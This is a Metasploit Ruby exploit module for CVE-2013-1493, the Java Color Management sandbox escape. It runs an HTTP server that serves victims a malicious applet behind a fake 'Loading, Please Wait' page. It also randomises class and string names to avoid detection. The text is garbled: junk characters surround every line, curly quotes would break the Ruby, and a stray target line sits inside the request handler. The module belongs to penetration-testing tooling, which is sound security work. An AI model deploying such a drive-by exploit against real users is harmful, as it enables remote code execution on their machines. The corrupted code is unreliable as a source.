##
) ^2 ~" [5 V# ]3 z
, _* _3 ^* w/ |, U# This file is part of the Metasploit Framework and may be subject to
; d0 e* [7 X% L- w# redistribution and commercial restrictions. Please see the Metasploit; U4 c6 j" X4 L. S
# web site for more information on licensing and terms of use.
7 x; H0 Q+ F, c/ Z0 O0 \& ?# http://metasploit.com/4 p0 c* \) ] X. V6 W# e
##
- X$ c' l6 w' B$ k! a" M Grequire ‘msf/core’
7 }. x& F9 y7 brequire ‘rex’
$ U% S5 I" J0 G# d vclass Metasploit3 < Msf::Exploit::Remote4 `1 n) B0 @+ d# |/ y, c$ C3 n
Rank = NormalRanking
& p3 |" k, v$ `) p& G! ?! `: rinclude Msf::Exploit::Remote::HttpServer::HTML
! a. s" y4 z; { q; t2 T- Jinclude Msf::Exploit::EXE
4 a+ l! x: f& ~' uinclude Msf::Exploit::Remote::BrowserAutopwn3 b: I* \' j/ g
autopwn_info({ :javascript => false })$ i. A* V9 k2 r' ~
def initialize( info = {} )
$ ~0 ~0 k7 M! c2 i/ `super( update_info( info,! E, o% ?3 G- f/ k! D( ^
‘Name’ => ‘Java CMM Remote Code Execution’,4 Y: H) l% E$ t' L: l( R3 b
‘Description’ => %q{, v; P+ d- }$ B! N, W; u& b& ]8 R
This module abuses the Color Management classes from a Java Applet to run% P% H ^/ ?1 V! W: h5 e# b% Q& D
arbitrary Java code outside of the sandbox as exploited in the wild in February
3 r8 k) s% W# ]& g5 }/ r+ X& ]and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41! [+ X$ ?; @, Z6 p; q: H+ w
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1' _% G9 r' S' E
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
; s# J) S. u, D" wwarning in order to run the malicious applet./ }2 o, o7 W& ^4 p
},7 u7 S+ Y3 m, v4 e
‘License’ => MSF_LICENSE,6 }6 @ j/ g! t0 U
‘Author’ =>
: S2 U$ m8 k2 B y& X'Unknown', # Vulnerability discovery and Exploit* ~: d8 \% P/ ?! a7 c# y
'juan vazquez' # Metasploit module (just ported the published exploit)
' L& l" ?+ X; ]* V# A8 f5 e( V],7 v% }) I4 ~% g+ H
‘References’ =>
5 N) b S: | W; z! V. i: y4 H g[
]" b7 z/ z- w2 e" k7 _. H[ 'CVE', '2013-1493' ],
4 T- @* T5 j5 K[ 'OSVDB', '90737' ],; N, B& \$ @9 A% @6 m8 z
[ 'BID', '58238' ],
$ }/ G- P: [* _/ d/ t[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],! ?6 Q, j0 f- V1 x" ^. K
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],5 Q# { z: G8 N1 u8 b
[ 'URL', 'http://pastie.org/pastes/6581034' ]
$ C) r+ b1 ~: y6 u; _0 S],- Q' \4 p: g" ^, K A
‘Platform’ => [ 'win', 'java' ],1 m6 t: z$ I" R0 N
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
7 _- M) `% b6 e. W* `‘Targets’ =>
7 V7 ^! d* K4 I/ W[
4 B$ N, K# t+ V# t[ 'Generic (Java Payload)',
0 K% |! A! g( ] n{
$ Q6 s- R9 R6 }8 r'Platform' => 'java',
% S; R& `- q1 I2 ]'Arch' => ARCH_JAVA
( f2 ~. T) g& A w' i; N/ l}/ a6 E9 [# h8 m( X% ~* N
],
f- e$ e4 f' H: X( n; E[ 'Windows x86 (Native Payload)',! G* e5 k* ]' r2 M+ e2 o9 R, ?8 S
{
+ w0 w. T7 A7 X+ Z'Platform' => 'win',
9 G- `% N% s: O m4 r. a. k'Arch' => ARCH_X862 }# p L3 I1 @# t0 }$ p3 I' p
}
( j$ v1 h+ n2 P3 T& }- n5 L# `6 V]+ b7 q& x9 J& ?# i+ Y2 q" z! ~3 q
],. j2 e: J4 y1 X4 o3 M) N1 H5 Q2 ?
‘‘DisclosureDate’ => ‘Mar 01 2013′& ]' z# V2 C2 k4 `$ G: D# u% v; C
))
6 d& y& t* M: l! L6 C( qend
% Q- S3 `/ E2 ?8 W; [5 mdef setup4 f4 D: c+ W$ z$ g& F7 x8 e' b
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
8 u+ L, i! r! T5 t! v@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }& p6 O+ V, e5 ^9 l2 c) m2 R8 D
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)' H4 ~0 c4 m2 V) n
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
5 Z1 d: X, K- v6 }4 _. apath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”), v I+ Y# r5 S
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
; `, a1 [2 u, B: a- xpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)! |6 Y+ ?7 @; e3 v
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }! K/ t# c: ?; v- R' o
@init_class_name = rand_text_alpha(“Init”.length)
2 f( C& Z$ D8 J% y1 _' d@init_class.gsub!(“Init”, @init_class_name)
! h0 U, A6 V/ Csuper2 w7 n( M! _. _. v" K) J
end/ ^1 J8 M8 s! V
def on_request_uri(cli, request)* p& u; K' w V; z
print_status(“handling request for #{request.uri}”)
8 y0 n8 n6 n$ l" u+ p/ l) lcase request.uri
z8 h# g3 I/ m) a, dwhen /\.jar$/i
4 E: ^- H. l7 Wjar = payload.encoded_jar
3 [+ G5 x3 c7 n% `! I; e* y sjar.add_file(“#{@init_class_name}.class”, @init_class)
% k0 r3 {3 F2 O( \jar.add_file(“Leak.class”, @leak_class)
% ^8 ^1 Z+ P0 q5 Vjar.add_file(“MyBufferedImage.class”, @buffered_image_class)' i$ c" j* G* L; P8 q1 h D D) N
jar.add_file(“MyColorSpace.class”, @color_space_class)
# I* q2 g0 Y# E( w) hDefaultTarget’ => 1,
2 H+ W H8 C5 I1 {3 n# {/ [metasploit_str = rand_text_alpha(“metasploit”.length)% c; C8 w* d0 n
payload_str = rand_text_alpha(“payload”.length)+ I* e k$ C% K( g! h- G
jar.entries.each { |entry|
8 D* O+ u+ l& ]5 k% x" x5 A! eentry.name.gsub!(“metasploit”, metasploit_str)
6 A( {' I( R: V! d0 R* wentry.name.gsub!(“Payload”, payload_str)7 y) G) G0 p$ p( a4 y0 {( y
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
' R, b5 s& f, f7 Bentry.data = entry.data.gsub(“Payload”, payload_str)) L3 i* K3 Q4 ?5 l/ M8 @
}6 b) ~6 l/ e8 p6 y. ?
jar.build_manifest. F9 f: B+ @, I) ~
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
7 X6 u6 `4 T2 zwhen /\/$/
! Q7 h; E! ~9 {6 Z; R g+ mpayload = regenerate_payload(cli)% t) i8 `$ s. w
if not payload7 y/ U! u5 i( J7 g, n
print_error(“Failed to generate the payload.”)
: A2 X. C1 A% xsend_not_found(cli)
( a5 n( ]2 q$ i0 lreturn
" o: d* a! w* s' a2 A( qend% K( q) p& K9 H& X- H7 _/ G
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })/ s% Y3 c3 T5 H2 q
else: i" M( }' u# y! F) y
send_redirect(cli, get_resource() + ‘/’, ”)
# ~0 R9 ^; x& H# W( _7 N' Cend1 k* f5 r7 u" E# ?! n
end1 O3 \- m( e$ {" u
def generate_html$ n9 H2 N# ^6 @7 P! D, m4 ]4 w
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
4 F8 {) i1 g7 Xhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
3 `; J# [ b, I3 E: K) g6 Ihtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|0 s) M1 \% B0 h6 n5 O
html += %Q|</applet></body></html>|
0 p9 ?8 h4 d0 D: `2 k# greturn html7 h. [+ ]- S" ?5 {7 Q# q* T1 `6 U
end9 c7 o" X" N) t, c3 Z
end: F+ {: o7 B$ ^+ U
end
% p7 G) H, U V! a/ ]; ], n |